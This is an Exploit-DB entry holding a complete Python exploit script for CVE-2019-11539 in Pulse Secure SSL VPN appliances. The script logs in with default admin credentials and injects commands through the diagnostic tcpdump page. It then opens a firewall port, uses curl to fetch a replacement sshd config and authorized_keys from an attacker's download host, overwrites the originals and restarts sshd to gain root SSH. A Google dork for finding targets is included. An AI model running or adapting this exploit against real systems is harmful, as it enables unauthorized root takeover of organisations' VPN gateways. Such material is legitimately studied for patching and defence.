Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Remote Code Execution

EDB-ID:

47354




Platform:

Multiple

Date:

2019-09-06


#!/usr/bin/python
#
# Exploit Title: Pulse Secure Post-Auth Remote Code Execution
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 09/05/2019
# Exploit Author: Justin Wagner (0xDezzy), Alyssa Herrera (@Alyssa_Herrera_)
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: linux
# CVE : CVE-2019-11539
#
# Initial Discovery: Orange Tsai (@orange_8361), Meh Chang (@mehqq_)
#
# Exploits CVE-2019-11539 to run commands on the Pulse Secure Connect VPN
# Downloads Modified SSH configuration and authorized_keys file to allow SSH as root.
# You will need your own configuration and authorized_keys files.
#
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11539
# Reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
#
# Please Note, Alyssa or myself are not responsible with what is done with this code. Please use this at your own discretion and with proper authrization.
# We will not bail you out of jail, go to court, etc if you get caught using this maliciously. Be smart and remember, hugs are free.
#
# Imports
import requests
import urllib
from bs4 import BeautifulSoup

# Host information
host = '' # Host to exploit
login_url = '/dana-na/auth/url_admin/login.cgi' # Login page
CMDInjectURL = '/dana-admin/diag/diag.cgi' # Overwrites the Template when using tcpdump
CommandExecURL = '/dana-na/auth/setcookie.cgi' # Executes the code

# Login Credentials
user = 'admin' # Default Username
password = 'password' # Default Password

# Necessary for Curl
downloadHost = '' # IP or FQDN for host running webserver
port = '' # Port where web service is running. Needs to be a string, hence the quotes.

# Proxy Configuration
# Uncomment if you need to use a proxy or for debugging requests
proxies = {
    # 'http': 'http://127.0.0.1:8080',
    # 'https': 'http://127.0.0.1:8080',
}

# Headers for requests
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'en-US,en;q=0.5',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded',
}

# Cookies to send with request
cookies = {
    'lastRealm':'Admin%20Users',
    'DSSIGNIN':'url_admin',
    'DSSignInURL':'/admin/',
    'DSPERSISTMSG':'',
}

# Data for post request
loginData = {
    'tz_offset': 0,
    'username': user,
    'password': password,
    'realm': 'Admin Users',
    'btnSubmit': 'Sign In',
}

s = requests.Session() # Sets up the session
s.proxies = proxies # Sets up the proxies

# Disable Warnings from requests library
requests.packages.urllib3.disable_warnings()

# Administrator Login logic
# Probably wouldn't have figured this out without help from @buffaloverflow
def adminLogin():
    global xsAuth
    global _headers

    # Send the intial request
    r = requests.get('https://%s/dana-na/auth/url_admin/welcome.cgi' % host, cookies=cookies, headers=headers, verify=False, proxies=proxies)

    print('[#] Logging in...') # Self Explanatory
    r = s.post('https://' + host + login_url, data=loginData,verify=False, proxies=proxies, allow_redirects=False) # sends login post request
    print('[#] Sent Login Request...')

    # Login Logic
    if r.status_code == 302 and 'welcome.cgi' in r.headers.get("location",""):
        referer = 'https://%s%s' %(host, r.headers["location"]) # Gets the referer
        r = s.get(referer, verify=False) # Sends a get request
        soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser
        FormDataStr = soup.find('input', {'id':'DSIDFormDataStr'})["value"] # Gets DSIDFormDataStr
        print('[#] Grabbing xsauth...')
        xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token
        print('[!] Got xsauth: ' + xsAuth) # Self Explanatory
        data = {'btnContinue':'Continue the session', 'FormDataStr':FormDataStr, 'xsauth':xsAuth} # Submits the continue session page
        _headers = headers # Sets the headers
        _headers.update({'referer':referer}) # Updates the headers
        r = s.post('https://%s' %(host + login_url), data=data, headers=_headers, verify=False, proxies=proxies) #Sends a new post request

    print('[+] Logged in!') # Self Explanatory

# Command injection logic
def cmdInject(command):
    r = s.get('https://' + host + CMDInjectURL, verify=False, proxies=proxies)
    if r.status_code == 200:
        soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser
        xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token
        payload = {
            'a':'td',
            'chkInternal':'On',
            'optIFInternal':'int0',
            'pmisc':'on',
            'filter':'',
            'options':'-r$x="%s",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <' %command,
            'toggle':'Start+Sniffing',
            'xsauth':xsAuth
        }
        # Takes the generated URL specific to the command then encodes it in hex for the DSLaunchURL cookie
        DSLaunchURL_cookie = {'DSLaunchURL':(CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+urllib.quote_plus(command)+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth).encode("hex")}
        # print('[+] Sending Command injection: %s' %command) # Self Explanatory. Useful for seeing what commands are run
        # Sends the get request to overwrite the template
        r = s.get('https://' + host + CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+command+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth, cookies=DSLaunchURL_cookie, verify=False, proxies=proxies)
        # Sends the get request to execute the code
        r = s.get('https://' + host + CommandExecURL, verify=False)

# Main logic
if __name__ == '__main__':
    adminLogin()
    try:
        print('[!] Starting Exploit')
        print('[*] Opening Firewall port...')
        cmdInject('iptables -A INPUT -p tcp --dport 6667 -j ACCEPT') # Opens SSH port
        print('[*] Downloading Necessary Files....')
        cmdInject('/home/bin/curl '+downloadHost+':'+port+'/cloud_sshd_config -o /tmp/cloud_sshd_config') # download cloud_sshd_config
        cmdInject('/home/bin/curl '+downloadHost+':'+port+'/authorized_keys -o /tmp/authorized_keys') # download authorized_keys
        print('[*] Backing up Files...')
        cmdInject('cp /etc/cloud_sshd_config /etc/cloud_sshd_config.bak') # backup cloud_sshd_config
        cmdInject('cp /.ssh/authorized_keys /.ssh/authorized_keys.bak') # backp authorized_keys
        print('[*] Overwriting Old Files...')
        cmdInject('cp /tmp/cloud_sshd_config /etc/cloud_sshd_config') # overwrite cloud_sshd_config
        cmdInject('cp /tmp/authorized_keys /.ssh/authorized_keys') # overwrite authorized_keys
        print('[*] Restarting SSHD...')
        cmdInject('kill -SIGHUP $(pgrep -f "sshd-ive")') # Restart sshd via a SIGHUP
        print('[!] Done Exploiting the system.')
        print('[!] Please use the following command:')
        print('[!] ssh -p6667 root@%s') %(host)
    except Exception as e:
        raise